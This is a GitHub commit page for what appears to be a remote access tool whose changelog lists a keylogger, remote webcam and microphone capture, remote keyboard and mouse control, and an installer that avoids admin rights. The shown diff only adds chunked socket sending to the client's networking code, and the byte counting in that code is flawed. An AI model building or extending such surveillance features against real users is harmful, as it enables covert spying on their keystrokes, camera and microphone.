Skip to content

Commit 872862b

Browse files
committed
3.1.7.0
* Change icon folder in file manager * Change icon file manager * Change icon process manager * Added remote mouse in remote desktop * Added remote keyboard in remote deskop * Added screen rotation (0, 90, 180, 270) * Icon size set to 32;32 * Missing theme in Mass task form * Added refresh button in file manager * Self made updater * Network chunking data * For installer, path is set to C:\Users\{username}\AppData\Local to remove admin rights and allow drag & drop * Fixed non closing connection for remote desktop * Fixed missing HWID for remote webcam, remote desktop, remote microphone, keylogger * Added icons pack (4 packs)
1 parent 9bde5c3 commit 872862b

File tree

1,610 files changed

+20285
-2838
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

1,610 files changed

+20285
-2838
lines changed

README.md

+11-6

Remote Access Tool/Client/Networking/ClientHandler.cs

+21-4
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
using PacketLib.Packet;
33
using PacketLib.Utils;
44
using System;
5+
using System.IO;
56
using System.Net.Sockets;
67
using System.Threading;
78
using System.Windows.Forms;
@@ -182,11 +183,27 @@ private int SendData(IPacket data)
182183

183184
int sent = socket.Send(header);
184185

185-
while (total < size)
186+
if (size > 1000000)
186187
{
187-
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
188-
total += sent;
189-
datalft -= sent;
188+
using (MemoryStream memoryStream = new MemoryStream(encryptedData))
189+
{
190+
int read = 0;
191+
memoryStream.Position = 0;
192+
byte[] chunk = new byte[50 * 1000];
193+
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
194+
{
195+
socket.Send(chunk, 0, read, SocketFlags.None);
196+
}
197+
}
198+
}
199+
else
200+
{
201+
while (total < size)
202+
{
203+
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
204+
total += sent;
205+
datalft -= sent;
206+
}
190207
}
191208
return total;
192209
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientDll/Networking/ClientHandler.cs

+21-4
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
using PacketLib.Packet;
33
using PacketLib.Utils;
44
using System;
5+
using System.IO;
56
using System.Net.Sockets;
67
using System.Threading;
78

@@ -189,11 +190,27 @@ private int SendData(IPacket data)
189190

190191
int sent = socket.Send(header);
191192

192-
while (total < size)
193+
if (size > 1000000)
193194
{
194-
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
195-
total += sent;
196-
datalft -= sent;
195+
using (MemoryStream memoryStream = new MemoryStream(encryptedData))
196+
{
197+
int read = 0;
198+
memoryStream.Position = 0;
199+
byte[] chunk = new byte[50 * 1000];
200+
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
201+
{
202+
socket.Send(chunk, 0, read, SocketFlags.None);
203+
}
204+
}
205+
}
206+
else
207+
{
208+
while (total < size)
209+
{
210+
sent = socket.Send(encryptedData, total, size, SocketFlags.None);
211+
total += sent;
212+
datalft -= sent;
213+
}
197214
}
198215
return total;
199216
}
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)